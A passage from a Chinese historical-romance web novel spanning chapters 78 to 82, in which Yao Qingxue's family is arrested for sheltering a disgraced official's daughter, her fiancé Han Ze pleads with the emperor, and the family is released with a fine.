“在后面,等会我带你去。”韩泽夹了块肉送到嘴边,还没入口眉头就皱了起来。 姚轻雪已经吃进嘴里,她也皱起眉,这味道着实不怎么好,她嚼吧嚼吧咽了下去,韩泽就不行了,他鼻子灵,闻着味儿不好便把肉都挑出来。姚轻雪也不想吃,这么多肉也不能扔了,她俩不爱吃,但说不定这些肉是李贵他们舍不得吃的。 转头见春杏坐在外面的台阶上,姚轻雪道:“春杏!” 听到叫声,小姑娘脆生生地“哎!”了一声,起身跑了进来。 姚轻雪问:“你喜欢吃这个肉吗?” 春杏咽了咽口水,没说话。她这个样子已经不用回答了。姚轻雪:“去灶房拿个碗来。” 小姑娘很听话,飞快跑出去,不一会儿就拿过来一只空碗。姚轻雪把她和韩泽碗里的肉挑到空碗里放到桌边,招呼春杏坐下。“吃吧。” 春杏呆愣,不明白大公子和他未婚妻为何不吃肉?他们每次只能吃几片,现在满满一大碗都够他们一家人吃两天了。 “我们在城里吃腻了,不爱吃,你吃吧。”姚轻雪道。 春杏:“那我能拿去和弟弟一起吃吗?” “当然能。” 小姑娘端着碗走了,不久外面传来李贵媳妇的大嗓门:“你俩咋还吃上了呢?” 姚轻雪笑道:“李婶子应该是性格泼辣,干活利落的人。” “这倒让你说对了。”韩泽吃了一口面,汤虽有些腻但面不错,凑合能吃。“她爹娘早亡,哥嫂想把她嫁给年过半百的地主换聘礼,她之前与李贵打过交道,逃出来找到李贵。她说嫁老头也要嫁个自己喜欢的。虽然经过一番波折,但最终成就了好事,两人成亲后先生了春杏,四年前又生了个儿子。” 姚轻雪边吃边听韩泽讲李贵夫妻俩的八卦。再见李贵媳妇时,她眼里都是敬佩。 李贵媳妇牵着儿子和丈夫与他们一同来到暖房,庄子上的其他人纷纷够来向韩泽问好。 暖房一人多高,四面是土墙,倾斜的顶部用的是窗纸,光可以照进内部。顶部的窗能打开,天气好太阳足时,可以全部打开来。暖房内还有烟道,天冷时烧柴,如此暖房内温度就有了保障。 此时暖房的屋顶就是打开的,青菜瓜藤沐浴在阳光下。 姚轻雪道:“长得真好!”以现在的水平,在冬天把青菜种这么好真是一种本事。 “您光看长得好,伺候它们可是费了劲了。”李贵媳妇道:“烧热了不行,冷了也不行,风大顶上的窗纸刮坏就得赶紧换,去年换了三次,银子花了不老少。”这里拿出去的每棵菜都能抵得上一斤肉,也就是主子们吃,他们自己是绝对不会在冬天种青菜吃的。 “小宝,别摘。”李贵媳妇把儿子拽过来,但是已经晚了,小宝手里拿着一个巴掌大的黄瓜。她和丈夫偷偷瞄主子。韩泽当做没看见,夫妻俩都松了一口气。 小孩儿自己没吃,而是走到姚轻雪面前递了过来。 “给我的?” 小宝点头,姚轻雪接过黄瓜,摸了摸他的脑袋,“谢谢小宝!” 从暖棚出来,姚轻雪把黄瓜洗了,和韩泽一人一半。俩人啃着黄瓜 和李贵一同往田里走去。 留的那一亩离宅子不远,夏季种瓜和蔬菜的地方。地已经翻过也施过肥,姚轻雪非常满意。 当天晚上就把辣椒种子泡上了,次日一早听说韩泽要种东西,安定庄的村名来了一大半。挑水、浇水、撒种,不到半个时辰一亩地种完了。 韩泽与村民说田地的事,姚轻雪看见田间有不少野菜。便问李贵媳妇能摘吗? “随便摘。”她拿上锄头,领上姚轻雪和两个孩子在田间地头挖野菜。野蒜、山韭菜、荠菜都挖了不少。有村民进山采蕨菜,下河捞鱼,然后都送到庄子。 午饭姚轻雪亲自下厨,做了荠菜肉包、槐花鸡蛋饼、清炒蕨菜、凉拌车前草、油煎河鱼,最后用不多的调料做了红烧肉。 李贵媳妇吃了一口肉,惊呼:“好吃,一点味儿没有。”姚轻雪时她都看见了,她决定以后也这么做。 小宝在锅边吃的香,春杏看的咽口水,但她是大姑娘,肉是给主子吃的,她不能要。姚轻雪拿来空碗,夹了半碗递给春杏。“吃吧,就算抵你的糖了。” 庄子上没有糖,但李贵前几日刚进城,给儿子女儿买了麦芽糖,春杏舍不得吃留到现在,做红烧肉没有糖,就让姚轻雪给用了。 小姑娘看看她娘,等到点头后她才接过碗,拉着弟弟走了。 用膳时,韩泽眉眼舒展,样子颇为满足。一样的东西,到了雪儿手里味道就天差地别。 第79章 第79章被抓 从庄子上回来已经是四月了,天气越来越暖,姚家卤味生意也越来越好。在姚福和刘氏一再要求下,卤味的数量稍稍有所增加,每日卖到下午放能卖完。 偶尔姚轻雪会过去帮忙,芽芽休沐时也会去。大的帮爷爷切墩打包,小的与奶奶收钱找零。食客们都夸姚家两个孙女能干,有人甚至问姚轻雪定亲了没有。这个时候刘氏就把姚轻雪往家赶。 姚福和刘氏没想过借韩家的势,有人问就含糊过去,并不提将军府与韩泽。姚轻雪也很无奈,随着姚家生意越来越好,打听她的人也越来越多。离得近的知道她与韩泽定了亲,但大多数人并不知情。 不能帮忙就中午送饭,以前姚福和刘氏随便买点馒头饼子,就着卤味凑合吃。自家卖的东西定是不缺这口的,有时下雨阴天剩下的全都是自己吃,现在早就吃够了。 现在姚轻雪在家闲着,便每日做些饭菜给二老送去。这日赶上学堂休息,姐俩吃了午饭,便提着食盒去找姚福和刘氏。 正赶上午饭的点,客人较多,姚轻雪见爷爷奶奶俩人忙得没空吃饭。她接过姚福的刀,让他去边上吃完再来。芽芽接替了刘氏负责收钱。这段日子姚轻雪总在家,芽芽下学早,没事她就教芽芽算术,小姑娘很聪明,收钱手脚相当麻利。 有人跟刘氏开玩笑:“数量多一点你就得掰指头算,你小孙女算得又快又准,可比你强多了。” 刘氏咽下嘴里的饭一脸骄傲:“我孙女上学堂呢,读书人肯定比我强。” 姚轻雪抽空看一眼,芽芽被众人和奶奶夸得小脸微红,但并不妨碍她抿着嘴一脸认真地收钱。她笑了笑,去年刚来家里时芽芽胆小不敢见生人,现在已经不会了。姚轻雪忙着切卤味,却没有注意到斜对面巷子里鬼鬼祟祟的两个人。 “婶子你吃什么呢?真香。”一妇人闻到从刘氏和姚福碗里飘出的香味儿问,“要不你们也做些饭菜卖,我拿碗过来盛,总吃馒头饼子吃够了。” 说话的是住附近的一位常客,家里只有她和男人两个。她不是个勤快的,最烦的就是每日做饭,图省事她经常出来买些卤味配馒头包子,好在她男人喜欢姚家的卤味,给她省不少事。 姚福笑着道:“这怕是不行,饭是我孙女做的,我俩没这手艺。她快要嫁人了,就不让她出来受累了。”妇人听后一阵惋惜。 吃过午膳刘氏让姐俩回去,姚轻雪道:“奶奶,没剩多少了,卖完吧,卖完咱们一起回去,顺便买些肉,晚上咱们吃顿好的。” “哪天吃的不好?”自从大孙女在家,他们家伙食好的不得了。午饭有人送,晚上回去也吃现成的,不但顿顿有肉,饭菜堪比饭庄酒楼,一辈子没吃过什么好东西,最近却变着花样地吃。她和老头子都胖了。 刘氏嗔了孙女一眼,然后看了看盆,确实没多少了。“行,卖完一起回。” 未时中,最后一块猪肝卖完,姚轻雪把桶和盆放到推车上。 “姚老哥卖完了?”曲老爹看着姚家四口要走便问了句。 姚福:“卖完了,回家。” “老哥家生意就是好。” “可不,这条街就属他家生意好,我这馒头都多卖不少。” 左右摊位的人七嘴八舌跟着说了几句。 “我们走了,明儿见。”刘氏跟大家告别,领着芽芽走前头,姚轻雪扶着车上的木桶和姚福顾着推车。 四人刚走没几步,一群官差突然出现拦住他们,领头那人低头问:“你可是叫芽芽?” 芽芽愣愣地点了下头。那人接着又问:“芽芽可是你们姚家的孩子?” “是啊。”姚福也发懵,嗫嗫道:“官爷,我家孩子是老实孩子,没干过坏事。” “全部带走。”十几个官差过来把一家四口围住。俩俩一组就要拿人,其中一个身材魁梧的男人直接把芽芽扛在肩上。 这一变故把所有人都吓坏了,姚福和刘氏还有芽芽更是傻眼,连话都说不出来了。 “住手!”姚轻雪甩开扯他胳膊的官差,把芽芽夺过来,“我们犯了什么罪?光天化日无故抓人是何道理?这京中就没有王法了吗?” “牙尖嘴利。”官差冷笑:“尔等窝藏罪臣之后罪无可赦,有话去衙门说,带走。” 听到这话,姚轻雪如晴天霹雳,难怪这人要问芽芽是不是叫芽芽?怎么会暴露?应该没有人认识芽芽才对?是哪里出了问题? 四人跌跌撞撞被官差押走,周围的摊贩也都吓傻了,好半晌才有人小声问:“罪臣之后?谁啊?难道是芽芽?” 大家小声议论着,曲老爹把姚家扔下的车推到自家摊前,他思虑再三决定去一趟大理寺。 姚轻雪他们被押去京兆府,刚进衙门她就看见了张婆子和她男人张大力。原来是他们,难怪会有人知道芽芽的身份。 “就是她。”张婆子指着芽芽,“他就是罪臣张迁之女。” 芽芽看见他们,“嗷!”一声扑进姐姐怀里,姚轻雪扶着瑟瑟发抖的妹妹,安慰道:“别怕,不会有事。” 可她自己都听见了声音里的颤抖。事太大了,不知道韩泽能不能救下他们?芽芽的身份韩泽也不知情, 不知会不会连累他? 坐在上面的京兆府尹杜宏明看着堂下跪着的姚家四人:“报上名来。” 三个大人分别说了名字,芽芽吓得说不出话,姚轻雪替她回答:“她叫姚轻鸿,是我妹妹。” 杜宏明看着她问:“你可知她是张迁之女?” 姚轻雪摇头:“不知道。” “啪!”杜宏明一拍惊堂木,“人证在此,还敢狡辩,再不从实招来大刑侍候。” “大人,并非民女狡辩,而是民女确实不知。”姚轻雪迫使自己冷静下来,她不能慌,稍有差池芽芽就完了。“去年民女去城外十里铺老牛沟,民女在那里看见了杀人现场。” 姚轻雪冷冷地看向左边跪着的两人,“张大力夫妻合力将可怜的女孩按进河里试图淹死她,若不是民女及时赶到制造声响,这个可怜的孩子就被他们溺死了。事后我见她无家可归才收留了她。” 京兆府尹皱了皱眉,问那对夫妻:“她说的可是事实?” “没有的事。”张婆子梗着脖子,“那日听说芽芽他爹犯了事,我们二人是想将她送来官府,但是半路她自己跑了,兴许是自己掉进河里了。人跑了我们怕被责问便不敢来报官,前些日子我才知道这丫头竟然在京城,还上了学堂。” “大人!”张婆子双手伏地,“并非我二人有意隐瞒,而是实在是不敢啊,现在找到人了,我一刻都没敢耽搁就来报官。姚家窝藏罪臣之后该罚,我夫妻二人可是有功啊。”有功自然得赏啊。 姚轻雪怒道:“举头三尺有神明,你们就不怕遭报应吗?” “我们没做坏事,怕什么。”张婆子嘟囔。 “大人,这夫妻俩忘恩负义丧心病狂,我妹妹当时受到惊吓发热生病,雨前巷的王郎中可以作证。”姚轻雪伏地叩拜,“民女所说句句属实,望大人明察。” 杜宏明:“张家夫妻有没有试图杀死芽芽这件事以后再断,姚轻雪,本官再问你一次,你妹妹姚轻鸿也就是芽芽是不是张迁的女儿?” “是,就是,我养大的我能不知道?”张婆子急道,“错不了,化成灰我都认识。” “住口。”杜宏明呵斥,“再敢喧哗拉出去重打。”亲自养大的孩子,却为了要赏银而至她于死地,这夫妻俩的人品可见一斑。 “姚轻雪!事到如今瞒是瞒不住的,说吧,不然本官只好用刑。” “杜大人!您要对我的未婚妻做什么?” 姚轻雪猛地回头,就见韩泽穿着官服信步走来。她眼眶一热,然后赶紧擦了擦,现在不是感动的时候。 下午韩泽正在整理卷宗,突然有人来说雪儿被官府抓走了,问清原委后他没敢耽搁就来了京兆府。 杜宏明神色一凛,未婚妻?他看了一眼堂下,这着实出乎他的意料。韩泽是谁,京城有点品级的官员没有不认识的。大理寺少卿倒也没什么,关键是他身后的镇远将军府和陛下的信任。 “原来是韩少卿!”杜宏明起身,但并未离座。“本官正在审理姚家窝藏罪臣张迁之女一案,不知韩少卿来所谓何事?” 听到“张迁之女”韩泽有一瞬的怔愣,他看向姚轻雪,后者心虚地低下头。 韩泽拱手一礼,“姚轻雪乃下官未婚妻,突然听说她被京兆府抓来,这其中是不是有什么误会?”京兆府尹官职不低,大理寺少卿没有杜宏明官大。 “韩少卿稍安勿躁,本案才刚刚开始审理,是非曲直还没有问清楚。张迁一案乃韩少卿主审,今日你不来改日也得让韩大人知晓,而且、” 杜宏明看了一眼靠在姚轻雪怀里的芽芽,“此事怕也不是误会。” 第80章 第80章“我爹是坏人吗?”…… 杜宏明一指张婆子:“张李氏曾在张迁家做过奶娘,受张迁之妾吴氏所托养育她的女儿芽芽。张府被抄家后这个名叫芽芽女孩不知所踪,直到七日前张李氏偶然看见姚家摊前的芽芽,经过多日确认后于今日午时过来报案,本官这才派人将姚家四口带过来。” 看了眼地上跪着的张大力夫妻,韩泽皱了皱眉。 “既然来了,韩大人也一起听听吧。”杜宏明道:“来人,看座。” 有人搬来把椅子,韩泽坐到堂下。 杜宏明又道:“姚姑娘既然是韩少卿的未婚妻那就起来说话吧。”他这也算给了韩泽面子。 姚轻雪踉跄起身,把芽芽也拽了起来,青砖地面又凉又硬,跪这么一会儿膝盖疼痛难忍。她看了一眼姚福和刘氏,躬身行礼。“大人,祖父祖母年纪大了,祖母还患有心疾,可否让他们也起来?” 顿了顿姚轻雪又道:“姚家二老并不知晓芽芽的来历,是我欺骗他们说芽芽没爹没娘,恳求他们收养芽芽,他们是好人,民女也是他们收养的孤女。即便有罪也该是我一人承担,与姚家两位老人没有任何关系。还望大人开恩!” “雪儿!”刘氏眼泪噼里啪啦往下掉,从开始到现在她都是懵的。什么罪臣之后?什么溺死?“芽芽她?” “抱歉,我骗了你们,孙女不孝,辜负了你们的养育之恩。”姚轻雪跪下给二老磕了三个头。若是罪责难免,她得把姚福和刘氏摘出来。 “你这是干什么?”姚福抓住她两只手臂,“你是我姚家孙女,芽芽也是,有罪爷爷担着。” 姚福重重磕了两个头,“大人,我姚家的孩子,犯了错我担着,要杀要剐冲我来,请您放过她们,都是被爹娘抛弃的可怜孩子,能活到现在都是老天开眼啊。” 杜宏明有些吃惊,没想到姚轻雪也是姚家收养的。他看韩泽,见他脸上并无波澜,想来他是知情的。这姚家二老也是难得的良善。 “姚福、姚刘氏起来说话。”杜宏明对两位老人生出几分敬佩。 姚轻雪把爷爷奶奶扶起来。张大力夫妻大气都不敢喘,在韩泽说出姚轻雪是他未婚妻时,他俩就吓傻了,此时哆嗦着不敢抬头。 七天前俩人来京城买东西,无意中在姚家卤味摊前看见了芽芽,回家一商量觉得不能就这么算了。于是次日又来了京城,但是芽芽没有出现。后来她与旁边的摊贩攀谈,才知道了芽芽的一些情况。 姚家做生意有银子,本来想跟姚家要些封口费,但想着万一姚家把芽芽送走,她们竹篮打水一场空,这便打起了官府赏银的主意。他们打听姚家就是普通人家,哪里会想到姚家姑娘还有个不得了的未婚夫啊。要是知道姚家在官府有人,给他们一百个胆儿也不敢报官呐。 杜宏明:“姚轻雪!把你知道的都说出来,不要有任何隐瞒。” 姚轻雪看向韩泽,韩大人点头:“杜大人秉公执法公正严明,你可放心大胆地说出来,关于芽芽的事我也很好奇。” 杜宏明看了一眼韩泽,没说什么。 于是姚轻雪便把在张迁家做厨娘,张家抄家时吴姨娘又是如何拜托她寻找女儿的经过都讲了出来。 “大人,并非民女狡辩,我在张家只听说过张迁有一儿一女,但均已夭折,民女也从未见过张迁的女儿,吴姨娘说她女儿叫芽芽,但是那孩子很小就被送出去,七年吴姨娘都未曾见过,谁又能保证眼前的芽芽就是吴姨娘和张迁的孩子?” “我能证明。”张婆子急了,“我从小把她养到大,她就是张迁的女儿,绝对错不了。” 杜宏明:“张李氏,张迁为何不管亲生女儿?他身居高位不会养不起一个女婴吧?” 张婆子:“张迁正室死了儿子,她容不下这个孩子,吴姨娘怕女儿在张家遭毒手便叫民妇替她养孩子。” “啪!”杜府尹一拍惊堂木,“一派胡言,张迁乃朝廷命官又怎会任由一介妇人残害自己的骨肉?” 这一声把芽芽吓得一哆嗦,把姐姐搂得更紧了,姚轻雪控诉地看了一眼堂上。 杜宏明:“……”杜府尹把惊堂木悄悄往一旁推了推。 张婆子:“张夫人有安国公府做靠山,张迁也不敢惹她,张夫人还想弄死吴姨娘,若不是张迁力保,吴姨娘怕是也要遭毒手,所以吴姨娘才害怕女儿养不大,于是在外面弄回来一个死婴儿代替她女儿,芽芽便到了民妇家中。民妇不知张迁是贪官,若是知道他那么坏,给民妇几个胆子都不敢替他们养女儿啊。” 堂上一阵沉默,张李氏 只知道张家和安国公府倒了,但因为什么倒的并不知情。杜宏明却清楚得很。这案子越深越麻烦啊,怎么跟安国公府扯上关系了? “张李氏!本官再来问你,张迁可知他女儿还活着?” “这个、这个、”张婆子结巴了一会儿道,“吴姨娘是背着张迁做的,还告诫民妇不准告诉张大人,民妇猜不知情。” 杜宏明又问张婆子从吴氏那里得到多少好处?开始她还想狡辩,被吓唬两句就都说了。 杜宏明:“张大力,张李氏所说是不是真的?你可还有话讲?” “是、是真的。没有了。”张大力跪趴在地上,头都不敢抬。一个大男人比张李氏还不如。 问完张家夫妻,杜宏明把目光放到小姑娘身上,他尽量放轻声音:“芽芽,你可知你爹娘是什么人?” 芽芽摇头:“以前我一直以为我是奶娘的孩子,后来我偷听他们说话才知道不是,但我爹娘是谁从来没人告诉我,在他们把我按进水里时我才知晓我爹犯了事,他们怕被我连累才要杀了我,是姐姐赶到救下我。后来姐姐说我爹娘死了,也没有告诉我爹娘是谁。” 小姑娘红着眼睛问姚轻雪:“姐姐,我爹是坏人吗?” 姚轻雪不知该什么回答。张迁是坏人吗?他没有杀人放火、鱼肉百姓,听说当官时政绩还不错。说他是好人吗?但他的确做了错事。好与坏,得看从谁的立场。 芽芽咬紧嘴唇,像是下了很大决心,她跪在地上磕了一个头:“没有姐姐我早就死了,爷爷奶奶没有嫌弃我,给我吃的给我穿的,为了给我看伤花了好多钱。他们没有错,错的是我,是我投错了胎,你们不要伤害我姐姐和爷爷奶奶,如果我爹娘犯的错我也要承担,那就杀了我吧,跟我姐姐爷爷奶奶没有关系,他们都是好人。” “芽芽!”刘氏抱着芽芽痛哭,“这么小的孩子能有什么错?她爹一日都不曾养她,凭什么要为他承担罪孽?非要杀的话,就拿我老婆子的命换我孙女的命。” “奶奶!”芽芽扑到刘氏怀里低声呜咽。姚轻雪也是心疼不已。 堂中一片沉默,所有人都为之动容。一个八岁的女孩儿得下多大的决心才能说出:“杀了我吧。” “杜大人,借一步说话。”韩泽起身走到桌案一侧。 杜宏明犹豫了一下,起身跟过去。韩泽低声道,“姚轻雪乃火器案重要证人,当初她能从安国公府安全脱身乃陛下的旨意,她说的藏宝图很可能就是火器藏匿地点,火器至今下落不明,姚轻雪这个人不能有事,即便她有罪,也不是你我能定的。” 见杜宏明沉默不语,韩泽继续道:“我承认我有私心,但一个从出生就被送走的孩子有什么罪?她连爹娘是谁都不知道。她没在张家享受过,也没叫过张迁一声爹,更没有上张家族谱。” “韩少卿,此事若只是民间纠纷,现在本官就把你未婚妻他们放了,但事关张迁与安国公府,我做不了主啊。”杜宏明很为难。 “我明白。”韩泽点了下头,“我即刻进宫面圣,将事情禀明。” “那就再好不过了。”杜宏明松了口气,“韩少卿快去快回,放心,您的未婚妻和她家人,本官定会照顾好。” “多谢!”韩泽拱手一礼,他看了一眼张婆子,“还望大人将张家夫妻试图杀害幼女一案尽快查明。” “韩少卿放心,本官自然会查明。”杜宏明笑眯眯道。 韩泽对姚轻雪微微点了下头,意思让她放心,然后大步离去。 杜宏明回到座位,顺手拿起惊堂木,然后想起什么又轻轻放下。“姚轻雪!张大力与张李氏试图溺死芽芽,是不是你亲眼所见?” “是,民女亲眼所见。那日我在张家墙外蹲了一个中午,亲眼见到张家夫妻如何虐待芽芽……”姚轻雪把那日所见所闻都讲了出来。 张婆子的身子都快抖成筛子了,她哪里知道姚轻雪那么早就在他家大门外了。但不能认啊,认了就是杀人罪名。“她、她胡说的,民妇与男人要送芽芽见官,过河时芽芽自己跳进河里跑了,我想定是这姚轻雪与芽芽串通好了。” “你才胡说。”芽芽突然发怒,疯了一样去打张婆子,“我叫你娘,你却要杀我,你怎么这么狠心,现在还想害我姐姐,你是坏人。” 姚轻雪赶紧过去把妹妹拉过来,“大人,我妹妹年前头部受过伤,不宜受刺激,可否让她回避?” 杜宏明都没犹豫:“姚刘氏,带你孙女下去休息吧。”一个头部受伤刚好,一个有心疾,可别在他这出事,不然与韩泽的梁子就结下了。 刘氏看大孙女。 姚轻雪笑了笑:“奶奶,去吧,没事的。”【你现在阅读的是 】 80-90 第81章 第81章放了 芽芽和刘氏一走,京兆府尹可就没什么顾忌了。 “啪!”杜宏明厉声问道:“张大力、张李氏,还不从实招来,想受皮肉之苦吗?” “民、民妇说的都是事实。”张婆子咬紧牙关不认,“大人您不能因为她是谁的未婚妻就护着她啊,民妇不服。” “不服?”杜宏明冷笑,“将张大力与张李氏拉出去各打三十大板。”他对堂下的衙役使了个眼色。 衙役点了下头,一招手便过来三人与他抓住张家夫妻往外走。 “民妇不服,冤枉啊……”张婆子哭喊着,但无人理会,两名衙役把她拖到堂外。 那名衙役与同僚提起早就吓瘫的张大力,嘴里念叨:“你这是何苦呢?你妻所做本与你无关,你若招了可免皮肉之苦。头次来衙门吧?还没尝过板子的滋味吧?三十板子下去,后半辈子就不能动喽,就你那媳妇自己养大的孩子都能杀,她能端屎端尿伺候你?” 张大力两股颤颤、头脑发蒙,早就六神无主了,经人提醒,他瞬间回过味儿来,对啊,要养那丫头的是李氏,与罪臣有瓜葛的也是李氏,至于要杀、嘴长在他身上,随他怎么说。 “大人,我说我说,是李氏要杀芽芽。”拖到堂外的张大力突然开口。“李氏说只有弄死她就能保住秘密,才不会被她爹连累,草民一时糊涂受了蠢妇的蛊惑,都是李氏的错,是她要杀芽芽,跟草民无关,我还劝她,但她不听非要杀人,大人饶命啊……” 张婆子一急,张口就道:“明明是你说一不做二不休。”话一出口,她就知道坏了。“张大力你他娘的混蛋,胡说,他胡说……” “都带回来。”杜宏明悠哉悠哉地喝了几口茶,张大力夫妻已经重新跪在堂下了。 姚轻雪和姚福看得一愣一愣的,这就招了? 京兆府尹放下茶杯,对堂下道:“张大力,将你知道的都说出来。” 张大力两手伏地,头也抵在地上,不然他怕是得倒下:“李氏说带到河边淹死她,然后装成意外,这样才不会引起村民的怀疑。我不愿意,芽芽好歹在家里养了七年,草民对那孩子早就有了感情,怎么忍心杀她,但是李氏不同意……” 都说夫妻本是同林鸟,大难来临各自飞,张大力为了保命,将所有的错全都推到妻子李氏头上。李氏也是有口难辨,对张大力破口大骂,骂他忘恩负义,骂他没有良心。 不管她怎么撒泼耍混,结果是改变不了的,最后张婆子见无力回天,便将那日要杀芽芽的经过都讲了。张大力经不住吓,最后也承认了。 杜宏明:“将人犯关进大牢,等候发落。” 两夫妻被押下去后,杜宏明笑着道:“姚姑娘!有韩少卿的面子,本官本不该为难尔等,但你该知此事的事关重大。韩大人若能说服陛下,你和你的家人安然无恙,但若是、” “我明白。”若是皇上发怒,姚家罪责难逃。姚轻雪颔首,“大人,该怎么做就怎么做,我无怨言。若是陛下怪罪,还望大人秉公处理放姚家二老一条生路,他们并不知情。” “你和芽芽要是出事,我和你奶奶还能活吗?要死一起死,要活一起活。”姚福吼道,老爷子目光异常坚定。 姚轻雪鼻子一酸,“爷爷!” “还没到那个份上,几位先到牢里等候消息吧。”杜宏明道。 有京兆府尹亲自安排,姚家四口住进了干净整洁的牢房。不但有新棉被,晚饭还有肉。 “大牢这么好?”刘氏感慨,“在这养老都行。”饭菜有人送到手边,都不用自己动手做,除了地方窄点、见不到日头、不能出门,也找不到什么坏处了。 “你 想得美。“姚福道,“若是没有韩大人,咱们哪来这个待遇,你没瞧见其他牢房什么样?” 刘氏叹气:“瞧见了,也不知润青那边怎么样了?” 皇宫内,年轻的帝王皱了下眉,“所以这是你的失职?” “是!”韩泽跪在地上,“未能查出张迁还有一女流落在外,是臣失职,请陛下责罚。只是那孩子虽是张迁血脉,但七年来从未与张迁有过任何来往,她甚至不知自己爹娘是谁?张迁似乎也不知女儿还活着。若是没有芽芽这个孩子的存在,吴氏便不会把藏宝图拿出来,那图怕也到不了我们手上。” 皇帝看他一眼,“你是想说他女儿与张迁无关,更不该替他承担罪责?” 韩泽叩首:“陛下圣明。” “一个孩子放过也罢。那爱卿的未婚妻当如何处置?她可是知情不报啊。” “陛下!”韩泽道,“姚轻雪固然有错,但功可低过,她救下那孩子,未得分文好处一直当做亲妹妹养着,给吃给穿,如此善良的女子世间少有,若是天下人人如此心善,就不会有那么多无家可归的弃儿了。” 皇帝手指一下一下敲着桌面,“若是朕没记错的话,姚轻雪最开始是为了财宝吧?” 韩泽:“……起初的确如此,但她对那孩子的态度始终没有改变,上个月还掏银子送她去学堂读书。” “罢了,那孩子受伤,是朕派了御医给她诊治,既然她不知其父之事便不予追求。不过,”皇帝话锋一转,韩泽刚放下的心又提起来。 就听皇帝道:“姚轻雪死罪可免活罪难逃,朕先前赏给她的东西和银子,叫她都还回来吧。另外罚她一千两银子以作警告。” 两个无关紧要的孤女皇帝都懒得治她们的罪。而且对爱财之人,夺了她的钱财比杀了她都难受。他倒赚一千两,皇帝觉得这个惩罚相当不错。反正韩泽不差一千两,他自己的未婚妻他爱给就给去吧。 “另外身为张迁一案主审官,爱卿确有失察之责,大理寺少卿你不便担任了,不然难以服众,就去做大理评事吧。” 皇帝金口一下就给韩泽降了两级,别小看这两级,有些人一辈子都难以跨越。 “谢陛下隆恩!”韩泽没有为自己辩驳,心甘情愿领罚。只要保住雪儿和她疼爱的妹妹,官职不重要。 姚家四口吃饱后,姚轻雪安慰了他们一会儿,正准备睡觉,就被恭恭敬敬请出大牢。在外面看见韩泽的那一刻,姚轻雪就知道他们安全了。 回家的路上,韩泽把皇帝的处罚说了。 姚轻雪:“……”赏了还往回要?一贫如洗了啊,皇帝是小气鬼。 刘氏倒觉得一身轻松,“银子没了再赚,咱们都好好的。” 姚福也说:“对,一千两三年我和你奶就赚回来了,不用你操心。” 这一天情绪大起大落,刺激受得不少,姚福和刘氏回到家眼皮子就开始打架了,他俩回房睡了,芽芽想等姐姐,但看了一眼韩泽,她自己回了房间。 人都走了,姚轻雪才恶狠狠道:“我要杀了那两个人。”杀芽芽一次不够,还想来第二次。 韩泽戳了下姚轻雪的脑门,“我都不敢说想杀谁就杀谁,谁给你的胆子?嗯?” 姚轻雪瞪他:“他们掐芽芽脖子把她按进水里,若不是我出现,芽芽现在早化作白骨了,那种丧尽天良、泯灭人性的畜生难道不该死?” 韩泽无奈:“芽芽还活着,那二人罪不至死。” 姚轻雪炸了:“难道要等把人淹死才能治罪?” 让人生不如死的法子有很多,韩泽道:“杀人未遂按律徒刑、流放或杖责,我会找杜大人说,把他们送去苦寒之地。”若是不想让他们活,那对夫妻必定是有命去没命回。 姚轻雪:“好。”相比一刀砍了,让他们陷入绝望,然后再一点点死去才最痛快。 “芽芽知道了亲爹是谁,她得多难受啊?”姚轻雪叹气,“你说张迁官那么大,他怎么就那么想不开呢?偷火器干嘛啊?” 韩泽沉默了片刻道:“身不由己吧。” 张迁少年丧父丧母,那时他刚考过秀才,没了亲人,生活都困难,再想科举是不可能了。后来他得到安国公资助,凭借卓越的天资在殿试取得第四名的成绩,之后仕途顺遂。 他本该有大好前程,但贼船一旦上去想下来就难了,这么多年张迁替安国公做了不少脏事,已经洗不干净了。张迁怕是也恨透了安国公,所以他才死抱了必死的决心。 听着韩泽讲述张迁过往,姚轻雪回想在张家的情景,她见过张迁两次,那时她便觉得张迁眉宇间有挥之不去的阴霾。她想不通位高权重之人,怎么一副不幸福的样子?如今都说得通了。 韩泽:“不过有一件事我觉得你应该知道。” “什么事?” 韩泽看着她,“你去张府或许不是偶然。”根据他查到的情报显示张府管家让牙人找位老实善良的厨娘,几经周折才找姚轻雪。 韩泽:“你有没有想过张迁为何在你接回芽芽的第二天自裁?”张迁死都没放过妻妾,或许是为了唯一的血脉。吴姨娘的话不能全信。 只是张迁万万不会想到,姚轻雪后来又跑去安国公府,还差点没回来。姚轻雪也是不止一次庆幸,若不是因韩泽误会她是探子,她坟头草都长老高了。 姚轻雪震惊的说不出话来,她不想相信自己收养芽芽是被算计的。 见她脸色不好,韩泽道:“一切都只是我的猜测,知情人都已经不在了,事实真相不得而知,你听听就罢了。” 姚轻雪点头,不管怎样,芽芽都是她妹妹,这一点永远不会变。 第82章 第82章“遗憾吗?有怨吗?”…… 送走韩泽,姚轻雪回房倒头就睡,这一天精神高度紧张,她也是倍感疲惫。不知什么时候翻了个身,然后就感觉身边热乎乎的,她迷迷糊糊伸手去摸,当手触碰到芽芽时,她瞬间就醒了。 姚轻雪起来点上油灯,芽芽的脸红扑扑的,身上烫得很。外面天还黑着,她找来白酒给芽芽擦脚心、手心、腋下、脖子等处。反复擦几次总算没那么热了。 熬到天亮,姚轻雪赶紧去找郎中。等把人领回来,姚福和刘氏才从房里出来,一听芽芽病了,俩人也是吓得不轻。 郎中把过脉后道:“惊吓所致,吃几副药养几日便好。”郎中写药方,“孩子小易受惊吓,大人多看顾些。” “您说的对,是我们当大人的疏忽了。”刘氏连声道。 郎中看了看她,“你身子骨倒是强健不少,气色不错。” “可不,不死不活到了这把年纪,没想到病好了。”刘氏脸上多了一丝笑容。自打去年开春家里大事小事就没怎么断过,倒是把她的心脏给炼出来了。她觉得最关键的还是吃得好养得好,家里又赚了不少银子,心情好病也就好了不少。 郎中笑道:“心疾最忌情志大起大落、抑郁忧愁,凡事往开了想,身体自然也就好了。” 送走郎中,姚福赶紧去抓药。姚轻雪让奶奶守着芽芽,若是发热就给她擦酒降温,她去做早饭。 两刻钟后,早饭做好,姚福也把药抓回来了。姚轻雪边熬药边吃饭。突然听见大门响,她出门一瞧是曲长平。 看见姚轻雪,曲长平很高兴。“回来了?何时回来的?昨日到底是怎么回事?”他连珠炮似地问了 好几个问题。 姚轻雪把他让进屋里,跟他说芽芽的养父母要讹银子,才去官府诬告姚家。芽芽的事不能让外人知道。韩泽说此事关乎火器丢失案,京兆府那边不会往外传,所以只要他们自己管住嘴就不会有大问题。 “原来是这样。”曲长平气愤道,“太过分,自己养大的孩子还要害。对了,你家的推车木桶都在我家呢,不知道你家有没有人,我就没推过来,等会儿我送过来吧。” “不用麻烦了。”姚福放下碗筷,“我跟你回去推回来。” 